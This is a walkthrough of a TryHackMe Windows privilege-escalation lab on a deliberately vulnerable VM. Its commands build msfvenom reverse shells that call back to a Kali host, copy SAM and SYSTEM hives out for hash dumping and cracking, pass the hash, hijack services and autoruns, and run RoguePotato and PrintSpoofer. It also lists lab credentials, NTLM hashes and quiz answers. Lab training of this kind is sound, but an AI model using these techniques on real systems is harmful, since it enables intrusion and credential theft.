Windows PrivEsc

Windows PrivEsc

Practice your Windows Privilege Escalation skills on an intentionally misconfigured Windows VM with multiple ways to get admin/SYSTEM! RDP is available. Credentials: user:password321

[Task 1] Deploy the Vulnerable Windows VM

This room is aimed at walking you through a variety of Windows Privilege Escalation techniques. To do this, you must first deploy an intentionally vulnerable Windows VM. This VM was created by Sagi Shahar as part of his local privilege escalation workshop but has been updated by Tib3rius as part of his Windows Privilege Escalation for OSCP and Beyond! course on Udemy. Full explanations of the various techniques used in this room are available there, along with demos and tips for finding privilege escalations in Windows.
Make sure you are connected to the TryHackMe VPN or using the in-browser Kali instance before trying to access the Windows VM!
RDP should be available on port 3389 (it may take a few minutes for the service to start). You can login to the "user" account using the password "password321":

```
rdesktop -u user -ppassword321 MACHINE_IP
```

The next tasks will walk you through different privilege escalation techniques. After each technique, you should have a admin or SYSTEM shell. Remember to exit out of the shell and/or re-establish a session as the "user" account before starting the next task!

#1
Deploy the Windows VM and login using the "user" account.

No answer needed

[Task 2] Generate a Reverse Shell Executable

On Kali, generate a reverse shell executable (reverse.exe) using msfvenom. Update the LHOST IP address accordingly:

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.27.69 LPORT=53 -f exe -o reverse.exe
```

Transfer the reverse.exe file to the C:\PrivEsc directory on Windows. There are many ways you could do this, however the simplest is to start an SMB server on Kali in the same directory as the file, and then use the standard Windows copy command to transfer the file.

On Kali, in the same directory as reverse.exe:

```
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .
```

On Windows (update the IP address with your Kali IP):

```
copy \\10.2.27.69\kali\reverse.exe C:\PrivEsc\reverse.exe
```

Test the reverse shell by setting up a netcat listener on Kali:

```
sudo nc -nvlp 53
```

Then run the reverse.exe executable on Windows and catch the shell:

```
C:\PrivEsc\reverse.exe
```

The reverse.exe executable will be used in many of the tasks in this room, so don't delete it!

#1
Generate a reverse shell executable and transfer it to the Windows VM. Check that it works!

No answer needed

[Task 3] Service Exploits - Insecure Service Permissions

Use accesschk.exe to check the "user" account's permissions on the "daclsvc" service:

```
C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc
```

Note that the "user" account has the permission to change the service config (SERVICE_CHANGE_CONFIG).

Query the service and note that it runs with SYSTEM privileges (SERVICE_START_NAME):

```
sc qc daclsvc
```

Modify the service config and set the BINARY_PATH_NAME (binpath) to the reverse.exe executable you created:

```
sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
```

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

```
net start daclsvc
```

#1
What is the original BINARY_PATH_NAME of the daclsvc service?

C:\Program Files\DACL Service\daclservice.exe

[Task 4] Service Exploits - Unquoted Service Path

Query the "unquotedsvc" service and note that it runs with SYSTEM privileges (SERVICE_START_NAME) and that the BINARY_PATH_NAME is unquoted and contains spaces.

```
sc qc unquotedsvc
```

Using accesschk.exe, note that the BUILTIN\Users group is allowed to write to the C:\Program Files\Unquoted Path Service\ directory:

```
C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
```

Copy the reverse.exe executable you created to this directory and rename it Common.exe:

```
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
```

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

```
net start unquotedsvc
```

#1
What is the BINARY_PATH_NAME of the unquotedsvc service?

C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

[Task 5] Service Exploits - Weak Registry Permissions

Query the "regsvc" service and note that it runs with SYSTEM privileges (SERVICE_START_NAME).

```
sc qc regsvc
```

Using accesschk.exe, note that the registry entry for the regsvc service is writable by the "NT AUTHORITY\INTERACTIVE" group (essentially all logged-on users):

```
C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
```

Overwrite the ImagePath registry key to point to the reverse.exe executable you created:

```
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
```

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

```
net start regsvc
```

#1
Read and follow along with the above

No answer needed

[Task 6] Service Exploits - Insecure Service Executables

Query the "filepermsvc" service and note that it runs with SYSTEM privileges (SERVICE_START_NAME).

```
sc qc filepermsvc
```

Using accesschk.exe, note that the service binary (BINARY_PATH_NAME) file is writable by everyone:

```
C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
```

Copy the reverse.exe executable you created and replace the filepermservice.exe with it:

```
copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
```

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

```
net start filepermsvc
```

#1
Read and follow along with the above.

No answer needed

[Task 7] Registry - AutoRuns

Query the registry for AutoRun executables:

```
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```

Using accesschk.exe, note that one of the AutoRun executables is writable by everyone:
```
C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
```

Copy the reverse.exe executable you created and overwrite the AutoRun executable with it:
```
copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y
```

Start a listener on Kali and then restart the Windows VM. Open up a new RDP session to trigger a reverse shell running with admin privileges. You should not have to authenticate to trigger it.
```
rdesktop MACHINE_IP
```

#1
Read and follow along with the above.

No answer needed

[Task 8] Registry - AlwaysInstallElevated

Query the registry for AlwaysInstallElevated keys:
```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

Note that both keys are set to 1 (0x1).

On Kali, generate a reverse shell Windows Installer (reverse.msi) using msfvenom. Update the LHOST IP address accordingly:
```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi
```

Transfer the reverse.msi file to the C:\PrivEsc directory on Windows (use the SMB server method from earlier).

Start a listener on Kali and then run the installer to trigger a reverse shell running with SYSTEM privileges:

```
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
```

#1
Read and follow along with the above.

No answer needed

[Task 9] Passwords - Registry

The registry can be searched for keys and values that contain the word "password":
```
reg query HKLM /f password /t REG_SZ /s
```

If you want to save some time, query this specific key to find admin AutoLogon credentials:
```
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
```

On Kali, use the winexe command to spawn a command prompt running with the admin privileges (update the password with the one you found):
```
winexe -U 'admin%password' //MACHINE_IP cmd.exe
```

#1
What was the admin password you found in the registry?

password123

[Task 10] Passwords - Saved Creds

List any saved credentials:
`cmdkey /list`

Note that credentials for the "admin" user are saved. If they aren't, run the C:\PrivEsc\savecred.bat script to refresh the saved credentials.

Start a listener on Kali and run the reverse.exe executable using runas with the admin user's saved credentials:
`runas /savecred /user:admin C:\PrivEsc\reverse.exe`

#1
Read and follow along with the above.

No answer needed

[Task 11] Passwords - Security Account Manager (SAM)

The SAM and SYSTEM files can be used to extract user password hashes. This VM has insecurely stored backups of the SAM and SYSTEM files in the C:\Windows\Repair\ directory.

Transfer the SAM and SYSTEM files to your Kali VM:
```
copy C:\Windows\Repair\SAM \\10.10.10.10\kali\
copy C:\Windows\Repair\SYSTEM \\10.10.10.10\kali\
```

On Kali, clone the creddump7 repository (the one on Kali is outdated and will not dump hashes correctly for Windows 10!) and use it to dump out the hashes from the SAM and SYSTEM files:
```
git clone https://github.com/Neohapsis/creddump7.git
sudo apt install python-crypto
python2 creddump7/pwdump.py SYSTEM SAM
```

Crack the admin NTLM hash using hashcat:
`hashcat -m 1000 --force <hash> /usr/share/wordlists/rockyou.txt`

You can use the cracked password to log in as the admin using winexe or RDP.

#1
What is the NTLM hash of the admin user?

a9fdfa038c4b75ebc76dc855dd74f0da

hashes

Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2:::
user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da::: **password123**

[Task 12] Passwords - Passing the Hash

Why crack a password hash when you can authenticate using the hash?

Use the full admin hash with pth-winexe to spawn a shell running as admin without needing to crack their password. Remember the full hash includes both the LM and NTLM hash, separated by a colon:

```
pth-winexe -U 'admin%hash' //MACHINE_IP cmd.exe
```

#1
Read and follow along with the above.

No answer needed

[Task 13] Scheduled Tasks

View the contents of the C:\DevTools\CleanUp.ps1 script:
```
type C:\DevTools\CleanUp.ps1
```

The script seems to be running as SYSTEM every minute. Using accesschk.exe, note that you have the ability to write to this file:
```
C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1
```

Start a listener on Kali and then append a line to the C:\DevTools\CleanUp.ps1 which runs the reverse.exe executable you created:
```
echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
```

Wait for the Scheduled Task to run, which should trigger the reverse shell as SYSTEM.

#1
Read and follow along with the above.

No answer needed

[Task 14] Insecure GUI Apps

Start an RDP session as the "user" account:
```
rdesktop -u user -p password321 MACHINE_IP
```

Double-click the "AdminPaint" shortcut on your Desktop. Once it is running, open a command prompt and note that Paint is running with admin privileges:
```
tasklist /V | findstr mspaint.exe
```

In Paint, click "File" and then "Open". In the open file dialog box, click in the navigation input and paste: file://c:/-windows/system32/cmd.exe

Press Enter to spawn a command prompt running with admin privileges.

#1
Read and follow along with the above.

No answer needed

[Task 15] Startup Apps

Using accesschk.exe, note that the BUILTIN\Users group can write files to the StartUp directory:
```
C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
```

Using cscript, run the C:\PrivEsc\CreateShortcut.vbs script which should create a new shortcut to your reverse.exe executable in the StartUp directory:
```
cscript C:\PrivEsc\CreateShortcut.vbs
```

Start a listener on Kali, and then simulate an admin logon using RDP and the credentials you previously extracted:
`rdesktop -u admin MACHINE_IP`

A shell running as admin should connect back to your listener.

#1
Read and follow along with the above.

No answer needed

[Task 16] Token Impersonation - Rogue Potato

Set up a socat redirector on Kali, forwarding Kali port 135 to port 9999 on Windows:
`sudo socat tcp-listen:135,reuseaddr,fork tcp:10.10.219.51:9999`

Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -> run as administrator) and using PSExec64.exe to trigger the reverse.exe executable you created with the permissions of the "local service" account:
`C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe`

Start another listener on Kali.

Now, in the "local service" reverse shell you triggered, run the RoguePotato exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):
`C:\PrivEsc\RoguePotato.exe -r 10.10.10.10 -e "C:\PrivEsc\reverse.exe" -l 9999`

#1
Name one user privilege that allows this exploit to work.

SeImpersonatePrivilege

#2
Name the other user privilege that allows this exploit to work.

SeAssignPrimaryTokenPrivilege

[Task 17] Token Impersonation - PrintSpoofer

Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -> run as administrator) and using PSExec64.exe to trigger the reverse.exe executable you created with the permissions of the "local service" account:
`C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe`

Start another listener on Kali.

Now, in the "local service" reverse shell you triggered, run the PrintSpoofer exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):
`C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i`

#1
Read and follow along with the above.

No answer needed

[Task 18] Privilege Escalation Scripts

Several tools have been written which help find potential privilege escalations on Windows. Four of these tools have been included on the Windows VM in the C:\PrivEsc directory:

winPEASany.exe

Seatbelt.exe

PowerUp.ps1

SharpUp.exe

#1
Experiment with all four tools, running them with different options. Do all of them identify the techniques used in this room?

No answer needed